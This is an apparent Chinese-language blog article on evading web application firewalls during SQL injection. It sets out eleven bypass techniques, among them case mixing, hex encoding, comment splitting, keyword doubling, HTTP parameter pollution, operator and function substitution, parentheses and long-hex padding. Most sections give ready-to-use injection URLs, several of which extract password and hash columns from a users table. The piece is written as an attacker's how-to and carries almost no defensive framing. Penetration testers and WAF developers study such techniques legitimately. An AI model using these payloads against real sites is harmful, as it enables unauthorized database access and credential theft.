溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

SQL注入中的WAF繞過(guò)技術(shù)

發(fā)布時(shí)間:2020-06-17 21:59:50 來(lái)源:網(wǎng)絡(luò) 閱讀:537 作者:455575834 欄目:網(wǎng)絡(luò)安全

1.大小寫繞過(guò)


這個(gè)大家都很熟悉,對(duì)于一些太垃圾的WAF效果顯著,比如攔截了union,那就使用Union UnIoN等等繞過(guò)。


2.簡(jiǎn)單編碼繞過(guò)


比如WAF檢測(cè)關(guān)鍵字,那么我們讓他檢測(cè)不到就可以了。比如檢測(cè)union,那么我們就用%55也就是U的16進(jìn)制編碼來(lái)代替U,union寫成 %55nION,結(jié)合大小寫也可以繞過(guò)一些WAF,你可以隨意替換一個(gè)或幾個(gè)都可以。


也還有大家在Mysql注入中比如表名或是load文件的時(shí)候,會(huì)把文件名或是表明用16進(jìn)制編碼來(lái)繞過(guò)WAF都是屬于這類。


3.注釋繞過(guò)


這種情況比較少,適用于WAF只是過(guò)濾了一次危險(xiǎn)的語(yǔ)句,而沒(méi)有阻斷我們的整個(gè)查詢。


01./?id=1+union+select+1,2,3/*


比如對(duì)于上面這條查詢,WAF過(guò)濾了一次union和select,那么我們?cè)谥霸趯懸粋€(gè)注釋的語(yǔ)句,讓他把注釋里面的過(guò)濾掉,并不影響我們的查詢。


所以繞過(guò)語(yǔ)句就是:


01./?id=1/*union*/union/*select*/select+1,2,3/*


還有一種和注釋有關(guān)的繞過(guò):


比如:


01.index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4…


可以看到,只要我們把敏感詞放到注釋里面,注意,前面要加一個(gè)!


4.分隔重寫繞過(guò)


還是上面的例子,適用于那種WAF采用了正則表達(dá)式的情況,會(huì)檢測(cè)所有的敏感字,而不在乎你寫在哪里,有幾個(gè)就過(guò)濾幾個(gè)。


我們可以通過(guò)注釋分開敏感字,這樣WAF的正則不起作用了,而帶入查詢的時(shí)候并不影響我們的結(jié)果。


01./?id=1+un/**/ion+sel/**/ect+1,2,3--


至于重寫繞過(guò),適用于WAF過(guò)濾了一次的情況,和我們上傳aaspsp馬的原理一樣,我們可以寫出類似Ununionion這樣的。過(guò)濾一次union后就會(huì)執(zhí)行我們的查詢了。


01.?id=1 ununionion select 1,2,3--


5.Http參數(shù)污染(HPP)


比如我們有這樣的語(yǔ)句:


01./?id=1 union select+1,2,3+from+users+where+id=1--


我們可以重復(fù)一次前面的id值添加我們的值來(lái)繞過(guò),&id=會(huì)在查詢時(shí)變成逗號(hào):


01./?id=1 union select+1&id=2,3+from+users+where+id=1--


這種情況成功的條件比較多,取決于具體的WAF實(shí)現(xiàn)。


再給出一個(gè)例子說(shuō)明用法:


01./?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users--


具體分析的話就涉及到查詢語(yǔ)句的后臺(tái)代碼的編寫了。


比如服務(wù)器是這樣寫的:


01.select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit ".$_GET['c'];


那我們可以構(gòu)造這樣的注入語(yǔ)句:


01./?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--


最終解析為:


01.select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users--


可以看到,這種方式其實(shí)比較適合白盒測(cè)試,而對(duì)于黑盒***的話,用起來(lái)比較麻煩。但是也可以一試。


6.使用邏輯運(yùn)算符 or /and繞過(guò)


01./?id=1+OR+0x50=0x50


02./?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74


順便解釋一下第二句話,從最里面的括號(hào)開始分析,select+pwd+from+users+limit+1,1 這句是從users表里查詢pwd字段的第一條記錄,比如是admin,


然后mid(上一句),1,1就是取admin的第一個(gè)字符,也就是a,


lower(上一句)就是把字符轉(zhuǎn)換為小寫,


然后ascii就是把a(bǔ)轉(zhuǎn)換成ascii碼,看等不等于74。


7.比較操作符替換


包括!= 不等于,<>不等于,< 小于,>大于,這些都可以用來(lái)替換=來(lái)繞過(guò)。


比如上一個(gè)例子,要判斷是不是74,假設(shè)=被過(guò)濾,那么我們可以判斷是不是大于73,是不是小于75,然后就知道是74了。。很多WAF都會(huì)忘了這個(gè)。


8.同功能函數(shù)替換


Substring()可以用mid(),substr()這些函數(shù)來(lái)替換,都是用來(lái)取字符串的某一位字符的。


Ascii()編碼可以用hex(),bin(),也就是16進(jìn)制和二進(jìn)制編碼替換。Benchmark()可以用sleep()來(lái)替換,這兩個(gè)使用在基于延時(shí)的盲注中,有機(jī)會(huì)給大家介紹。


如果連這些都屏蔽了,還有一種新的方法:


01.  substring((select 'password'),1,1) = 0x70


02.substr((select 'password'),1,1) = 0x70


03.mid((select 'password'),1,1) = 0x70


比如這三條,都是從password里判斷第一個(gè)字符的值,可以用:


01.strcmp(left('password',1), 0x69) = 1


02.strcmp(left('password',1), 0x70) = 0


03.strcmp(left('password',1), 0x71) = -1


來(lái)替換,left用來(lái)取字符串左起1位的值,strcmp用來(lái)比較兩個(gè)值,如果比較結(jié)果相等就為0,左邊小的話就為-1,否則為1。


還有我前幾篇說(shuō)過(guò)的group_concat 和concat和concat_ws也可以互相替換。


9.盲注無(wú)需or和and


比如有這樣一個(gè)注入點(diǎn):


01.index.php?uid=123


and、or被過(guò)濾了,其實(shí)有一種更直接的方法,我們直接修改123為我們的語(yǔ)句生成的:


01.index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123


123的時(shí)候頁(yè)面是正確的,我們現(xiàn)在在盲猜hash的第一位,如果第一位等于0x42也就是B,那么strcmp結(jié)果為0,0+123=123,所以頁(yè)面應(yīng)該是正確的。否則就說(shuō)明不是B,就這樣猜,不用and和or了。


10. 加括號(hào)


01./?id=1+union+(select+1,2+from+users)


比如,上面這一條被WAF攔截了??梢栽囋嚰右恍├ㄌ?hào):


01./?id=1+union+(select+1,2+from+xxx)


02./?id=(1)union(select(1),mid(hash,1,32)from(users))


03./?id=1+union+(select'1',concat(login,hash)from+users)


04./?id=(1)union(((((((select(1),hex(hash)from(users))))))))


05./?id=(1)or(0x50=0x50)


11.緩沖區(qū)溢出繞過(guò)


這個(gè)是從國(guó)外一個(gè)博客看到的:


01.id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),


8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26


02.,27,28,29,30,31,32,33,34,35,36–+


其中0xAAAAAAAAAAAAAAAAAAAAA這里A越多越好,一般要求1000個(gè)以上。


向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI